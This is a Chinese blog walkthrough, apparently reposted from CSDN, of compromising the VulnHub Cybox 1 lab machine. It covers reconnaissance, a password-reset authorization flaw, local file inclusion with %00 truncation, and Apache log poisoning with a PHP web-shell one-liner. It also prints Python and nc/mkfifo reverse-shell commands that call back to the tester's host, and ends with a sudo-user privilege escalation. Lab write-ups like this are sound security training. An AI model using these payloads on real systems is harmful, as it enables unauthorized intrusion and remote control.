【靶机】vulnhub靶机cybox1

Vulnhub靶机Cybox下载地址 Cybox: 1.1 ~ VulnHub

信息搜集

首先进行靶机ip的发现。

sudo arp-scan -l

接着使用nmap扫描开放的端口,这里使用扫描全部端口和详细信息太慢了,分开检测

命令:nmap -p 21,25,80,110,143,443 -sV -A 192.168.174.147

扫描到的信息如下:

PORT    STATE SERVICE  VERSION

21/tcp  open  ftp      vsftpd 3.0.3

25/tcp  open  smtp     Postfix smtpd

|_smtp-commands: cybox.Home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN

|_ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=cybox

| Not valid before: 2020-11-10T23:31:36

|_Not valid after:  2030-11-08T23:31:36

80/tcp  open  http     Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15)

|_http-title: CYBOX

| http-methods:

|_  Potentially risky methods: TRACE

|_http-server-header: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15

110/tcp open  pop3     Courier pop3d

|_pop3-capabilities: USER PIPELINING IMPLEMENTATION(Courier Mail Server) TOP LOGIN-DELAY(10) UIDL

143/tcp open  imap     Courier Imapd (released 2011)

|_imap-capabilities: completed THREAD=REFERENCES THREAD=ORDEREDSUBJECT CAPABILITY IMAP4rev1 ACL CHILDREN NAMESPACE ACL2=UNIONA0001 QUOTA SORT UIDPLUS OK IDLE

443/tcp open  ssl/http Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15)

| sslv2:

|   SSLv2 supported

|   ciphers:

|     SSL2_RC4_128_EXPORT40_WITH_MD5

|     SSL2_RC2_128_CBC_WITH_MD5

|     SSL2_RC4_128_WITH_MD5

|     SSL2_DES_64_CBC_WITH_MD5

|     SSL2_DES_192_EDE3_CBC_WITH_MD5

|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

|_http-title: CYBOX

| ssl-cert: Subject: commonName=cybox.company/organizationName=Cybox Company/stateOrProvinceName=New York/countryName=US

| Not valid before: 2020-11-14T15:06:32

|_Not valid after:  2021-11-14T15:06:32

|_ssl-date: 2023-02-20T18:22:42+00:00; +6h15m22s from scanner time.

|_http-server-header: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15

Service Info: Host:  cybox.Home; OS: Unix



Host script results:

|_clock-skew: 6h15m21s



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 21.21 seconds





目录扫描

gobuster dir -u http://192.168.174.147/ \

-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \

-x php,txt,html,js,php.bak

扫描结果如下

除了静态页面 就是assets目录下的一些js,css文件

尝试ftp,不支持匿名访问

在页面的底部发现类似域名的地方,修改hosts文件

sudo vim /etc/hosts

子域名爆破 

使用wfuzz进行子域名爆破,扫描到一下几个子域名

wfuzz -H 'HOST: FUZZ.cybox.company' -u 'http://192.168.174.147' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 489 -c

再把扫描到的子域名加到这个ip当中,再次修改hosts文件

成功显示

在dev的域名中发现phpinfo文件

在register中可以注册

我们的账号和密码都是ycx

在webmail中使用ycx,ycx,成功登录

在register页面使用这个账号密码是无法登录的

进行注册

注册且登录后发现没有什么东西

尝试忘记密码的页面

进行忘记密码,发现页面没反应,但是发送了一封邮件到我们的邮箱当中

进行查看邮件信息

点击链接需要我们直接修改密码即可

使用新密码登录成功

越权漏洞

这里尝试改一下管理员的密码,修改数据包里的用户ycx为admin

发现修改admin的密码成功

可以看到admin的面板(panel)

查看一下源代码

文件包含漏洞

发现有引用

结合抓包的源码进行利用

这里用到了%00进行截断

形成漏洞的原理:

php基于c语言,是以0字符进行结尾的,所以可以用%00进行截断,之后的字符就不会再读取

Linux下%00截断的条件:

magic_quotes_gpc=off php<5.3.4

这个可以在dev泄露的phpinfo中看到确实是关闭的

拿一个简单的代码查看

<?php

    $a = $_GET['a'];

    include($a.'.html');

 ?>

默认结尾是html,在这台靶机中这个general引用应该是以css为后缀的

可以看到把/etc/passwd的内容读取了出来

反弹shell

下面尝试getshell

尝试使用apache的默认日志路径

应该是/opt/bitnami/apache2/logs/access_log

这样可以看到apache的访问目录

可以看到这个日志记录了时间和user_agent头信息

接着我们抓包ftp页面,修改user_agent头信息为l love you

再次读取access_log日志,可以发现,已经记录了我们的信息

这里就可以尝试写入一句话木马

<?php system($_GET[‘ycx’]);?>

进行构造payload进行读取

http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&ycx=echo%201111111111

可以看到页面输出了1111111111  

这里是执行的shell命令,比如我们再执行ifconfig

接下来进行反弹shell

使用python命令来进行反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

也可以使用bash,需要进行url编码:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.174.128 4444 >/tmp/f

nc打开监听,nc -nvlp 4444,成功接收到shell

切换到交互模式

python -c 'import pty;pty.spawn("/bin/bash")'

提权

查找具有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

看到/opt特殊目录,进行查看

发现是注册用户,我们起名叫root发现已经存在

再次尝试特殊的名字sudo,创建成功

账号和密码都是sudo

进行sudo用户登录,顺便切换成root

只需su sudo和sudo su (root) 即可

切换到root目录下进行查看root文件

总结:

        从头再顺一下这个靶机的思路,这台靶机是我在b站看到大福安全的视频学到的,在看完一遍过后虽然已经算是“作弊”,但是做的时候还是有很多的磕绊,比如wfuzz命令用来子域名发现的命令书写,apache2日志目录的位置需要观察phpinfo文件来进行发现而不是默认的安装位置,在反弹shell可以利用python也可以利用大福师傅的笔记中的bash命令,最后的提权巧用sudo用户进行提权。不管做了多少靶机(虽然我也没做多少呢),感觉每个靶机都能学到新的东西,所以不能手懒,加油咯。

猜你喜欢

转载自blog.csdn.net/weixin_52450702/article/details/129268010